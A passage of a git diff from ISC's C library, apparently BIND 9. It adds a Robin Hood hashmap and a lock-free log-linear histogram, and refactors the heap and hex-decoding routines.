+		.hash_key = { 0, 1 },
+		.case_sensitive = case_sensitive,
+	};
+	isc_mem_attach(mctx, &hashmap->mctx);
+
+#if !defined(FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION) && !defined(UNIT_TESTING)
+	isc_entropy_get(hashmap->hash_key, sizeof(hashmap->hash_key));
+#endif /* if FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION */
+
+	hashmap_create_table(hashmap, 0, bits);
+
+	hashmap->magic = ISC_HASHMAP_MAGIC;
+
+	*hashmapp = hashmap;
+}
+
+void
+isc_hashmap_destroy(isc_hashmap_t **hashmapp) {
+	isc_hashmap_t *hashmap;
+
+	REQUIRE(hashmapp != NULL && *hashmapp != NULL);
+	REQUIRE(ISC_HASHMAP_VALID(*hashmapp));
+
+	hashmap = *hashmapp;
+	*hashmapp = NULL;
+
+	hashmap->magic = 0;
+
+	for (size_t i = 0; i < HASHMAP_NUM_TABLES; i++) {
+		if (hashmap->tables[i].table != NULL) {
+			hashmap_free_table(hashmap, i, true);
+		}
+	}
+	INSIST(hashmap->count == 0);
+
+	isc_mem_putanddetach(&hashmap->mctx, hashmap, sizeof(*hashmap));
+}
+
+static bool
+hashmap_match(hashmap_node_t *node, const uint32_t hashval, const uint8_t *key,
+	      const uint32_t keysize, const bool case_sensitive) {
+	return (node->hashval == hashval && node->keysize == keysize &&
+		(case_sensitive
+			 ? (memcmp(node->key, key, keysize) == 0)
+			 : (isc_ascii_lowerequal(node->key, key, keysize))));
+}
+
+static hashmap_node_t *
+hashmap_find(const isc_hashmap_t *hashmap, const uint32_t hashval,
+	     const uint8_t *key, uint32_t keysize, uint32_t *pslp,
+	     uint8_t *idxp) {
+	uint32_t hash;
+	uint32_t psl;
+	uint8_t idx = *idxp;
+	uint32_t pos;
+
+nexttable:
+	psl = 0;
+	hash = isc_hash_bits32(hashval, hashmap->tables[idx].hashbits);
+
+	while (true) {
+		hashmap_node_t *node = NULL;
+
+		pos = (hash + psl) & hashmap->tables[idx].hashmask;
+
+		node = &hashmap->tables[idx].table[pos];
+
+		if (node->key == NULL || psl > node->psl) {
+			break;
+		}
+
+		if (hashmap_match(node, hashval, key, keysize,
+				  hashmap->case_sensitive))
+		{
+			*pslp = psl;
+			*idxp = idx;
+			return (node);
+		}
+
+		psl++;
+	}
+	if (try_nexttable(hashmap, idx)) {
+		idx = hashmap_nexttable(idx);
+		goto nexttable;
+	}
+
+	return (NULL);
+}
+
+uint32_t
+isc_hashmap_hash(const isc_hashmap_t *hashmap, const void *key,
+		 uint32_t keysize) {
+	REQUIRE(ISC_HASHMAP_VALID(hashmap));
+
+	uint32_t hashval;
+
+	isc_halfsiphash24(hashmap->hash_key, key, keysize,
+			  hashmap->case_sensitive, (uint8_t *)&hashval);
+
+	return (hashval);
+}
+
+isc_result_t
+isc_hashmap_find(const isc_hashmap_t *hashmap, const uint32_t *hashvalp,
+		 const void *key, uint32_t keysize, void **valuep) {
+	REQUIRE(ISC_HASHMAP_VALID(hashmap));
+	REQUIRE(key != NULL && keysize <= UINT16_MAX);
+	REQUIRE(valuep == NULL || *valuep == NULL);
+
+	hashmap_node_t *node = NULL;
+	uint8_t idx = hashmap->hindex;
+	uint32_t hashval = (hashvalp != NULL)
+				   ? *hashvalp
+				   : isc_hashmap_hash(hashmap, key, keysize);
+
+	node = hashmap_find(hashmap, hashval, key, keysize, &(uint32_t){ 0 },
+			    &idx);
+	if (node == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	INSIST(node->key != NULL);
+	SET_IF_NOT_NULL(valuep, node->value);
+	return (ISC_R_SUCCESS);
+}
+
+static void
+hashmap_delete_node(isc_hashmap_t *hashmap, hashmap_node_t *entry,
+		    uint32_t hashval, uint32_t psl, const uint8_t idx) {
+	uint32_t pos;
+	uint32_t hash;
+
+	hashmap->count--;
+
+	hash = isc_hash_bits32(hashval, hashmap->tables[idx].hashbits);
+	pos = hash + psl;
+
+	while (true) {
+		hashmap_node_t *node = NULL;
+
+		pos = (pos + 1) & hashmap->tables[idx].hashmask;
+		INSIST(pos < hashmap->tables[idx].size);
+
+		node = &hashmap->tables[idx].table[pos];
+
+		if (node->key == NULL || node->psl == 0) {
+			break;
+		}
+
+		node->psl--;
+		*entry = *node;
+		entry = &hashmap->tables[idx].table[pos];
+	}
+
+	*entry = (hashmap_node_t){ 0 };
+}
+
+static void
+hashmap_rehash_one(isc_hashmap_t *hashmap) {
+	uint8_t oldidx = hashmap_nexttable(hashmap->hindex);
+	uint32_t oldsize = hashmap->tables[oldidx].size;
+	hashmap_node_t *oldtable = hashmap->tables[oldidx].table;
+	hashmap_node_t node;
+	isc_result_t result;
+
+	/* Find first non-empty node */
+	while (hashmap->hiter < oldsize && oldtable[hashmap->hiter].key == NULL)
+	{
+		hashmap->hiter++;
+	}
+
+	/* Rehashing complete */
+	if (hashmap->hiter == oldsize) {
+		hashmap_free_table(hashmap, hashmap_nexttable(hashmap->hindex),
+				   false);
+		hashmap->hiter = 0;
+		return;
+	}
+
+	/* Move the first non-empty node from old table to new table */
+	node = oldtable[hashmap->hiter];
+
+	hashmap_delete_node(hashmap, &oldtable[hashmap->hiter], node.hashval,
+			    node.psl, oldidx);
+
+	result = hashmap_add(hashmap, node.hashval, node.key, node.keysize,
+			     node.value, hashmap->hindex);
+	INSIST(result == ISC_R_SUCCESS);
+
+	/*
+	 * we don't increase the hiter here because the table has been reordered
+	 * when we deleted the old node
+	 */
+}
+
+static uint32_t
+grow_bits(isc_hashmap_t *hashmap) {
+	uint32_t newbits = hashmap->tables[hashmap->hindex].hashbits + 1;
+	size_t newsize = HASHSIZE(newbits);
+
+	while (hashmap->count > APPROX_40_PERCENT(newsize)) {
+		newbits += 1;
+		newsize = HASHSIZE(newbits);
+	}
+	if (newbits > HASHMAP_MAX_BITS) {
+		newbits = HASHMAP_MAX_BITS;
+	}
+
+	return (newbits);
+}
+
+static uint32_t
+shrink_bits(isc_hashmap_t *hashmap) {
+	uint32_t newbits = hashmap->tables[hashmap->hindex].hashbits - 1;
+
+	if (newbits <= HASHMAP_MIN_BITS) {
+		newbits = HASHMAP_MIN_BITS;
+	}
+
+	return (newbits);
+}
+
+static void
+hashmap_rehash_start_grow(isc_hashmap_t *hashmap) {
+	uint32_t newbits;
+	uint8_t oldindex = hashmap->hindex;
+	uint32_t oldbits = hashmap->tables[oldindex].hashbits;
+	uint8_t newindex = hashmap_nexttable(oldindex);
+
+	REQUIRE(!rehashing_in_progress(hashmap));
+
+	newbits = grow_bits(hashmap);
+
+	if (newbits > oldbits) {
+		hashmap_create_table(hashmap, newindex, newbits);
+		hashmap->hindex = newindex;
+	}
+}
+
+static void
+hashmap_rehash_start_shrink(isc_hashmap_t *hashmap) {
+	uint32_t newbits;
+	uint8_t oldindex = hashmap->hindex;
+	uint32_t oldbits = hashmap->tables[oldindex].hashbits;
+	uint8_t newindex = hashmap_nexttable(oldindex);
+
+	REQUIRE(!rehashing_in_progress(hashmap));
+
+	newbits = shrink_bits(hashmap);
+
+	if (newbits < oldbits) {
+		hashmap_create_table(hashmap, newindex, newbits);
+		hashmap->hindex = newindex;
+	}
+}
+
+isc_result_t
+isc_hashmap_delete(isc_hashmap_t *hashmap, const uint32_t *hashvalp,
+		   const void *key, uint32_t keysize) {
+	REQUIRE(ISC_HASHMAP_VALID(hashmap));
+	REQUIRE(key != NULL && keysize <= UINT16_MAX);
+
+	hashmap_node_t *node;
+	isc_result_t result = ISC_R_NOTFOUND;
+	uint32_t psl = 0;
+	uint8_t idx;
+	uint32_t hashval = (hashvalp != NULL)
+				   ? *hashvalp
+				   : isc_hashmap_hash(hashmap, key, keysize);
+
+	if (rehashing_in_progress(hashmap)) {
+		hashmap_rehash_one(hashmap);
+	} else if (under_threshold(hashmap)) {
+		hashmap_rehash_start_shrink(hashmap);
+		hashmap_rehash_one(hashmap);
+	}
+
+	/* Initialize idx after possible shrink start */
+	idx = hashmap->hindex;
+
+	node = hashmap_find(hashmap, hashval, key, keysize, &psl, &idx);
+	if (node != NULL) {
+		INSIST(node->key != NULL);
+		hashmap_delete_node(hashmap, node, hashval, psl, idx);
+		result = ISC_R_SUCCESS;
+	}
+
+	return (result);
+}
+
+static bool
+over_threshold(isc_hashmap_t *hashmap) {
+	uint32_t bits = hashmap->tables[hashmap->hindex].hashbits;
+	if (bits == HASHMAP_MAX_BITS) {
+		return (false);
+	}
+	size_t threshold = APPROX_90_PERCENT(HASHSIZE(bits));
+	return (hashmap->count > threshold);
+}
+
+static bool
+under_threshold(isc_hashmap_t *hashmap) {
+	uint32_t bits = hashmap->tables[hashmap->hindex].hashbits;
+	if (bits == HASHMAP_MIN_BITS) {
+		return (false);
+	}
+	size_t threshold = APPROX_20_PERCENT(HASHSIZE(bits));
+	return (hashmap->count < threshold);
+}
+
+static isc_result_t
+hashmap_add(isc_hashmap_t *hashmap, const uint32_t hashval, const uint8_t *key,
+	    const uint32_t keysize, void *value, uint8_t idx) {
+	uint32_t hash;
+	uint32_t psl = 0;
+	hashmap_node_t node;
+	hashmap_node_t *current = NULL;
+	uint32_t pos;
+
+	hash = isc_hash_bits32(hashval, hashmap->tables[idx].hashbits);
+
+	/* Initialize the node to be store to 'node' */
+	hashmap_node_init(&node, hashval, key, keysize, value);
+
+	psl = 0;
+	while (true) {
+		pos = (hash + psl) & hashmap->tables[idx].hashmask;
+
+		current = &hashmap->tables[idx].table[pos];
+
+		/* Found an empty node */
+		if (current->key == NULL) {
+			break;
+		}
+
+		if (hashmap_match(current, hashval, key, keysize,
+				  hashmap->case_sensitive))
+		{
+			return (ISC_R_EXISTS);
+		}
+		/* Found rich node */
+		if (node.psl > current->psl) {
+			/* Swap the poor with the rich node */
+			ISC_SWAP(*current, node);
+		}
+
+		node.psl++;
+		psl++;
+	}
+
+	/*
+	 * Possible optimalization - start growing when the poor node is too far
+	 */
+#if ISC_HASHMAP_GROW_FAST
+	if (psl > hashmap->hashbits[idx]) {
+		if (!rehashing_in_progress(hashmap)) {
+			hashmap_rehash_start_grow(hashmap);
+		}
+	}
+#endif
+
+	hashmap->count++;
+
+	/* We found an empty place, store entry into current node */
+	*current = node;
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+isc_hashmap_add(isc_hashmap_t *hashmap, const uint32_t *hashvalp,
+		const void *key, uint32_t keysize, void *value) {
+	REQUIRE(ISC_HASHMAP_VALID(hashmap));
+	REQUIRE(key != NULL && keysize <= UINT16_MAX);
+
+	isc_result_t result;
+	uint32_t hashval = (hashvalp != NULL)
+				   ? *hashvalp
+				   : isc_hashmap_hash(hashmap, key, keysize);
+
+	if (rehashing_in_progress(hashmap)) {
+		hashmap_rehash_one(hashmap);
+	} else if (over_threshold(hashmap)) {
+		hashmap_rehash_start_grow(hashmap);
+		hashmap_rehash_one(hashmap);
+	}
+
+	if (rehashing_in_progress(hashmap)) {
+		uint8_t fidx = hashmap_nexttable(hashmap->hindex);
+		uint32_t psl;
+
+		/* Look for the value in the old table */
+		if (hashmap_find(hashmap, hashval, key, keysize, &psl, &fidx)) {
+			return (ISC_R_EXISTS);
+		}
+	}
+
+	result = hashmap_add(hashmap, hashval, key, keysize, value,
+			     hashmap->hindex);
+	switch (result) {
+	case ISC_R_SUCCESS:
+	case ISC_R_EXISTS:
+		return (result);
+	default:
+		UNREACHABLE();
+	}
+}
+
+void
+isc_hashmap_iter_create(isc_hashmap_t *hashmap, isc_hashmap_iter_t **iterp) {
+	isc_hashmap_iter_t *iter;
+
+	REQUIRE(ISC_HASHMAP_VALID(hashmap));
+	REQUIRE(iterp != NULL && *iterp == NULL);
+
+	iter = isc_mem_get(hashmap->mctx, sizeof(*iter));
+	*iter = (isc_hashmap_iter_t){
+		.hashmap = hashmap,
+		.hindex = hashmap->hindex,
+	};
+
+	*iterp = iter;
+}
+
+void
+isc_hashmap_iter_destroy(isc_hashmap_iter_t **iterp) {
+	isc_hashmap_iter_t *iter;
+	isc_hashmap_t *hashmap;
+
+	REQUIRE(iterp != NULL && *iterp != NULL);
+
+	iter = *iterp;
+	*iterp = NULL;
+	hashmap = iter->hashmap;
+	isc_mem_put(hashmap->mctx, iter, sizeof(*iter));
+}
+
+static isc_result_t
+isc__hashmap_iter_next(isc_hashmap_iter_t *iter) {
+	isc_hashmap_t *hashmap = iter->hashmap;
+
+	while (iter->i < hashmap->tables[iter->hindex].size &&
+	       hashmap->tables[iter->hindex].table[iter->i].key == NULL)
+	{
+		iter->i++;
+	}
+
+	if (iter->i < hashmap->tables[iter->hindex].size) {
+		iter->cur = &hashmap->tables[iter->hindex].table[iter->i];
+
+		return (ISC_R_SUCCESS);
+	}
+
+	if (try_nexttable(hashmap, iter->hindex)) {
+		iter->hindex = hashmap_nexttable(iter->hindex);
+		iter->i = 0;
+		return (isc__hashmap_iter_next(iter));
+	}
+
+	return (ISC_R_NOMORE);
+}
+
+isc_result_t
+isc_hashmap_iter_first(isc_hashmap_iter_t *iter) {
+	REQUIRE(iter != NULL);
+
+	iter->hindex = iter->hashmap->hindex;
+	iter->i = 0;
+
+	return (isc__hashmap_iter_next(iter));
+}
+
+isc_result_t
+isc_hashmap_iter_next(isc_hashmap_iter_t *iter) {
+	REQUIRE(iter != NULL);
+	REQUIRE(iter->cur != NULL);
+
+	iter->i++;
+
+	return (isc__hashmap_iter_next(iter));
+}
+
+isc_result_t
+isc_hashmap_iter_delcurrent_next(isc_hashmap_iter_t *iter) {
+	REQUIRE(iter != NULL);
+	REQUIRE(iter->cur != NULL);
+
+	hashmap_node_t *node =
+		&iter->hashmap->tables[iter->hindex].table[iter->i];
+
+	hashmap_delete_node(iter->hashmap, node, node->hashval, node->psl,
+			    iter->hindex);
+
+	return (isc__hashmap_iter_next(iter));
+}
+
+void
+isc_hashmap_iter_current(isc_hashmap_iter_t *it, void **valuep) {
+	REQUIRE(it != NULL);
+	REQUIRE(it->cur != NULL);
+	REQUIRE(valuep != NULL && *valuep == NULL);
+
+	*valuep = it->cur->value;
+}
+
+void
+isc_hashmap_iter_currentkey(isc_hashmap_iter_t *it, const unsigned char **key,
+			    size_t *keysize) {
+	REQUIRE(it != NULL);
+	REQUIRE(it->cur != NULL);
+	REQUIRE(key != NULL && *key == NULL);
+
+	*key = it->cur->key;
+	*keysize = it->cur->keysize;
+}
+
+unsigned int
+isc_hashmap_count(isc_hashmap_t *hashmap) {
+	REQUIRE(ISC_HASHMAP_VALID(hashmap));
+
+	return (hashmap->count);
+}
diff --git a/lib/isc/heap.c b/lib/isc/heap.c
index 678c462872..2ac7c8e7f2 100644
--- a/lib/isc/heap.c
+++ b/lib/isc/heap.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,6 +26,7 @@
 #include <isc/heap.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
+#include <isc/overflow.h>
 #include <isc/string.h> /* Required for memmove. */
 #include <isc/util.h>
 
@@ -76,7 +79,7 @@ heap_check(isc_heap_t *heap) {
 #define heap_check(x) (void)0
 #endif /* ifdef ISC_HEAP_CHECK */
 
-isc_result_t
+void
 isc_heap_create(isc_mem_t *mctx, isc_heapcompare_t compare, isc_heapindex_t idx,
 		unsigned int size_increment, isc_heap_t **heapp) {
 	isc_heap_t *heap;
@@ -100,8 +103,6 @@ isc_heap_create(isc_mem_t *mctx, isc_heapcompare_t compare, isc_heapindex_t idx,
 	heap->index = idx;
 
 	*heapp = heap;
-
-	return (ISC_R_SUCCESS);
 }
 
 void
@@ -114,31 +115,26 @@ isc_heap_destroy(isc_heap_t **heapp) {
 	REQUIRE(VALID_HEAP(heap));
 
 	if (heap->array != NULL) {
-		isc_mem_put(heap->mctx, heap->array,
-			    heap->size * sizeof(void *));
+		isc_mem_cput(heap->mctx, heap->array, heap->size,
+			     sizeof(void *));
 	}
 	heap->magic = 0;
 	isc_mem_putanddetach(&heap->mctx, heap, sizeof(*heap));
 }
 
-static bool
+static void
 resize(isc_heap_t *heap) {
-	void **new_array;
-	unsigned int new_size;
+	unsigned int new_size, new_bytes, old_bytes;
 
 	REQUIRE(VALID_HEAP(heap));
 
-	new_size = heap->size + heap->size_increment;
-	new_array = isc_mem_get(heap->mctx, new_size * sizeof(void *));
-	if (heap->array != NULL) {
-		memmove(new_array, heap->array, heap->size * sizeof(void *));
-		isc_mem_put(heap->mctx, heap->array,
-			    heap->size * sizeof(void *));
-	}
-	heap->size = new_size;
-	heap->array = new_array;
+	new_size = ISC_CHECKED_ADD(heap->size, heap->size_increment);
+	new_bytes = ISC_CHECKED_MUL(new_size, sizeof(void *));
+	old_bytes = ISC_CHECKED_MUL(heap->size, sizeof(void *));
 
-	return (true);
+	heap->size = new_size;
+	heap->array = isc_mem_creget(heap->mctx, heap->array, old_bytes,
+				     new_bytes, sizeof(char));
 }
 
 static void
@@ -171,7 +167,8 @@ sink_down(isc_heap_t *heap, unsigned int i, void *elt) {
 		/* Find the smallest of the (at most) two children. */
 		j = heap_left(i);
 		if (j < size &&
-		    heap->compare(heap->array[j + 1], heap->array[j])) {
+		    heap->compare(heap->array[j + 1], heap->array[j]))
+		{
 			j++;
 		}
 		if (heap->compare(elt, heap->array[j])) {
@@ -192,7 +189,7 @@ sink_down(isc_heap_t *heap, unsigned int i, void *elt) {
 	heap_check(heap);
 }
 
-isc_result_t
+void
 isc_heap_insert(isc_heap_t *heap, void *elt) {
 	unsigned int new_last;
 
@@ -201,14 +198,12 @@ isc_heap_insert(isc_heap_t *heap, void *elt) {
 	heap_check(heap);
 	new_last = heap->last + 1;
 	RUNTIME_CHECK(new_last > 0); /* overflow check */
-	if (new_last >= heap->size && !resize(heap)) {
-		return (ISC_R_NOMEMORY);
+	if (new_last >= heap->size) {
+		resize(heap);
 	}
 	heap->last = new_last;
 
 	float_up(heap, new_last, elt);
-
-	return (ISC_R_SUCCESS);
 }
 
 void
diff --git a/lib/isc/hex.c b/lib/isc/hex.c
index 2bf58027ba..a2aa07c466 100644
--- a/lib/isc/hex.c
+++ b/lib/isc/hex.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,7 +13,6 @@
 
 /*! \file */
 
-#include <ctype.h>
 #include <stdbool.h>
 
 #include <isc/buffer.h>
@@ -20,6 +21,23 @@
 #include <isc/string.h>
 #include <isc/util.h>
 
+#define D ('0' - 0x0) /* ascii '0' to hex */
+#define U ('A' - 0xA) /* ascii 'A' to hex */
+#define L ('a' - 0xa) /* ascii 'a' to hex */
+
+const uint8_t isc__hex_char[256] = {
+	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	0, 0, 0, 0, D, D, D, D, D, D, D, D, D, D, 0, 0, 0, 0, 0, 0, 0, U,
+	U, U, U, U, U, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	0, 0, 0, 0, 0, 0, 0, 0, 0, L, L, L, L, L, L, 0, 0, 0, 0, 0, 0, 0,
+	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
+};
+
+#undef D
+#undef U
+#undef L
+
 #define RETERR(x)                        \
 	do {                             \
 		isc_result_t _r = (x);   \
@@ -75,21 +93,22 @@ typedef struct {
 	int val[2];
 } hex_decode_ctx_t;
 
-static inline void
+static void
 hex_decode_init(hex_decode_ctx_t *ctx, int length, isc_buffer_t *target) {
 	ctx->digits = 0;
 	ctx->length = length;
 	ctx->target = target;
 }
 
-static inline isc_result_t
+static isc_result_t
 hex_decode_char(hex_decode_ctx_t *ctx, int c) {
-	const char *s;
+	uint8_t hexval;
 
-	if ((s = strchr(hex, toupper(c))) == NULL) {
+	hexval = isc_hex_char(c);
+	if (hexval == 0) {
 		return (ISC_R_BADHEX);
 	}
-	ctx->val[ctx->digits++] = (int)(s - hex);
+	ctx->val[ctx->digits++] = c - hexval;
 	if (ctx->digits == 2) {
 		unsigned char num;
 
@@ -107,7 +126,7 @@ hex_decode_char(hex_decode_ctx_t *ctx, int c) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 hex_decode_finish(hex_decode_ctx_t *ctx) {
 	if (ctx->length > 0) {
 		return (ISC_R_UNEXPECTEDEND);
diff --git a/lib/isc/histo.c b/lib/isc/histo.c
new file mode 100644
index 0000000000..fa4ca5b06d
--- /dev/null
+++ b/lib/isc/histo.c
@@ -0,0 +1,572 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <errno.h>
+#include <math.h>
+#include <stdatomic.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <isc/atomic.h>
+#include <isc/histo.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/tid.h>
+
+#define HISTO_MAGIC	    ISC_MAGIC('H', 's', 't', 'o')
+#define HISTO_VALID(p)	    ISC_MAGIC_VALID(p, HISTO_MAGIC)
+#define HISTOMULTI_MAGIC    ISC_MAGIC('H', 'g', 'M', 't')
+#define HISTOMULTI_VALID(p) ISC_MAGIC_VALID(p, HISTOMULTI_MAGIC)
+
+/*
+ * Natural logarithms of 2 and 10 for converting precisions between
+ * binary and decimal significant figures
+ */
+#define LN_2  0.693147180559945309
+#define LN_10 2.302585092994045684
+
+/*
+ * The chunks array has a static size for simplicity, fixed as the
+ * number of bits in a value. That means we waste a little extra space
+ * that could be saved by omitting the exponents that are covered by
+ * `sigbits`. The following macros calculate (at run time) the exact
+ * number of buckets when we need to do accurate bounds checks.
+ *
+ * For a discussion of the floating point terminology, see the
+ * commmentary on `value_to_key()` below.
+ *
+ * We often use the variable names `c` for chunk and `b` for bucket.
+ */
+#define CHUNKS 64
+
+#define DENORMALS(hg) ((hg)->sigbits - 1)
+#define MANTISSAS(hg) (1 << (hg)->sigbits)
+#define EXPONENTS(hg) (CHUNKS - DENORMALS(hg))
+#define BUCKETS(hg)   (EXPONENTS(hg) * MANTISSAS(hg))
+
+#define MAXCHUNK(hg)  EXPONENTS(hg)
+#define CHUNKSIZE(hg) MANTISSAS(hg)
+
+typedef atomic_uint_fast64_t hg_bucket_t;
+typedef atomic_ptr(hg_bucket_t) hg_chunk_t;
+
+struct isc_histo {
+	uint magic;
+	uint sigbits;
+	isc_mem_t *mctx;
+	hg_chunk_t chunk[CHUNKS];
+};
+
+struct isc_histomulti {
+	uint magic;
+	uint size;
+	isc_histo_t *hg[];
+};
+
+/**********************************************************************/
+
+void
+isc_histo_create(isc_mem_t *mctx, uint sigbits, isc_histo_t **hgp) {
+	REQUIRE(sigbits >= ISC_HISTO_MINBITS);
+	REQUIRE(sigbits <= ISC_HISTO_MAXBITS);
+	REQUIRE(hgp != NULL);
+	REQUIRE(*hgp == NULL);
+
+	isc_histo_t *hg = isc_mem_get(mctx, sizeof(*hg));
+	*hg = (isc_histo_t){
+		.magic = HISTO_MAGIC,
+		.sigbits = sigbits,
+	};
+	isc_mem_attach(mctx, &hg->mctx);
+
+	*hgp = hg;
+}
+
+void
+isc_histo_destroy(isc_histo_t **hgp) {
+	REQUIRE(hgp != NULL);
+	REQUIRE(HISTO_VALID(*hgp));
+
+	isc_histo_t *hg = *hgp;
+	*hgp = NULL;
+
+	for (uint c = 0; c < CHUNKS; c++) {
+		if (hg->chunk[c] != NULL) {
+			isc_mem_cput(hg->mctx, hg->chunk[c], CHUNKSIZE(hg),
+				     sizeof(hg_bucket_t));
+		}
+	}
+	isc_mem_putanddetach(&hg->mctx, hg, sizeof(*hg));
+}
+
+/**********************************************************************/
+
+uint
+isc_histo_sigbits(isc_histo_t *hg) {
+	REQUIRE(HISTO_VALID(hg));
+	return (hg->sigbits);
+}
+
+/*
+ * use precomputed logs and builtins to avoid linking with libm
+ */
+
+uint
+isc_histo_bits_to_digits(uint bits) {
+	REQUIRE(bits >= ISC_HISTO_MINBITS);
+	REQUIRE(bits <= ISC_HISTO_MAXBITS);
+	return (floor(1.0 - (1.0 - bits) * LN_2 / LN_10));
+}
+
+uint
+isc_histo_digits_to_bits(uint digits) {
+	REQUIRE(digits >= ISC_HISTO_MINDIGITS);
+	REQUIRE(digits <= ISC_HISTO_MAXDIGITS);
+	return (ceil(1.0 - (1.0 - digits) * LN_10 / LN_2));
+}
+
+/**********************************************************************/
+
+/*
+ * The way we map buckets to keys is what gives the histogram a
+ * consistent relative error across the whole range of `uint64_t`.
+ * The mapping is log-linear: a chunk key is the logarithm of part
+ * of the value (in other words, chunks are spaced exponentially);
+ * and a bucket within a chunk is a linear function of another part
+ * of the value.
+ *
+ * This log-linear spacing is similar to the size classes used by
+ * jemalloc. It is also the way floating point numbers work: the
+ * exponent is the log part, and the mantissa is the linear part.
+ *
+ * So, a chunk number is the log (base 2) of a `uint64_t`, which is
+ * between 0 and 63, which is why there are up to 64 chunks. In
+ * floating point terms the chunk number is the exponent. The
+ * histogram's number of significant bits is the size of the
+ * mantissa, which indexes buckets within each chunk.
+ *
+ * A fast way to get the logarithm of a positive integer is CLZ,
+ * count leading zeroes.
+ *
+ * Chunk zero is special. Chunk 1 covers values between `CHUNKSIZE`
+ * and `CHUNKSIZE * 2 - 1`, where `CHUNKSIZE == exponent << sigbits
+ * == 1 << sigbits`. Each chunk has CHUNKSIZE buckets, so chunk 1 has
+ * one value per bucket. There are CHUNKSIZE values before chunk 1
+ * which map to chunk 0, so it also has one value per bucket. (Hence
+ * the first two chunks have one value per bucket.) The values in
+ * chunk 0 correspond to denormal nubers in floating point terms.
+ * They are also the values where `63 - sigbits - clz` would be less
+ * than one if denormals were not handled specially.
+ *
+ * This branchless conversion is due to Paul Khuong: see bin_down_of() in
+ * https://pvk.ca/Blog/2015/06/27/linear-log-bucketing-fast-versatile-simple/
+ *
+ * This function is in the `isc_histo_inc()` fast path.
+ */
+static inline uint
+value_to_key(const isc_histo_t *hg, uint64_t value) {
+	/* ensure that denormal numbers are all in chunk zero */
+	uint64_t chunked = value | CHUNKSIZE(hg);
+	int clz = __builtin_clzll((unsigned long long)(chunked));
+	/* actually 1 less than the exponent except for denormals */
+	uint exponent = 63 - hg->sigbits - clz;
+	/* mantissa has leading bit set except for denormals */
+	uint mantissa = value >> exponent;
+	/* leading bit of mantissa adds one to exponent */
+	return ((exponent << hg->sigbits) + mantissa);
+}
+
+/*
+ * Inverse functions of `value_to_key()`, to get the minimum and
+ * maximum values that map to a particular key.
+ *
+ * We must not cause undefined behaviour by hitting integer limits,
+ * which is a risk when we aim to cover the entire range of `uint64_t`.
+ *
+ * The maximum value in the last bucket is UINT64_MAX, which
+ * `key_to_maxval()` gets by deliberately subtracting `0 - 1`,
+ * undeflowing a `uint64_t`. That is OK when unsigned.
+ *
+ * We must take care not to shift too much in `key_to_minval()`.
+ * The largest key passed by `key_to_maxval()` is `BUCKETS(hg)`, so
+ *	`exponent == EXPONENTS(hg) - 1 == 64 - sigbits`
+ * which is always less than 64, so the size of the shift is OK.
+ *
+ * The `mantissa` in this edge case is just `chunksize`, which when
+ * shifted becomes `1 << 64` which overflows `uint64_t` Again this is
+ * OK when unsigned, so the return value is zero.
+ */
+
+static inline uint64_t
+key_to_minval(const isc_histo_t *hg, uint key) {
+	uint chunksize = CHUNKSIZE(hg);
+	uint exponent = (key / chunksize) - 1;
+	uint64_t mantissa = (key % chunksize) + chunksize;
+	return (key < chunksize ? key : mantissa << exponent);
+}
+
+static inline uint64_t
+key_to_maxval(const isc_histo_t *hg, uint key) {
+	return (key_to_minval(hg, key + 1) - 1);
+}
+
+/**********************************************************************/
+
+static hg_bucket_t *
+key_to_new_bucket(isc_histo_t *hg, uint key) {
+	/* slow path */
+	uint chunksize = CHUNKSIZE(hg);
+	uint chunk = key / chunksize;
+	uint bucket = key % chunksize;
+	hg_bucket_t *old_cp = NULL;
+	hg_bucket_t *new_cp = isc_mem_cget(hg->mctx, CHUNKSIZE(hg),
+					   sizeof(hg_bucket_t));
+	hg_chunk_t *cpp = &hg->chunk[chunk];
+	if (atomic_compare_exchange_strong_acq_rel(cpp, &old_cp, new_cp)) {
+		return (&new_cp[bucket]);
+	} else {
+		/* lost the race, so use the winner's chunk */
+		isc_mem_cput(hg->mctx, new_cp, CHUNKSIZE(hg),
+			     sizeof(hg_bucket_t));
+		return (&old_cp[bucket]);
+	}
+}
+
+static hg_bucket_t *
+get_chunk(const isc_histo_t *hg, uint chunk) {
+	return (atomic_load_acquire(&hg->chunk[chunk]));
+}
+
+static inline hg_bucket_t *
+key_to_bucket(const isc_histo_t *hg, uint key) {
+	/* fast path */
+	uint chunksize = CHUNKSIZE(hg);
+	uint chunk = key / chunksize;
+	uint bucket = key % chunksize;
+	hg_bucket_t *cp = get_chunk(hg, chunk);
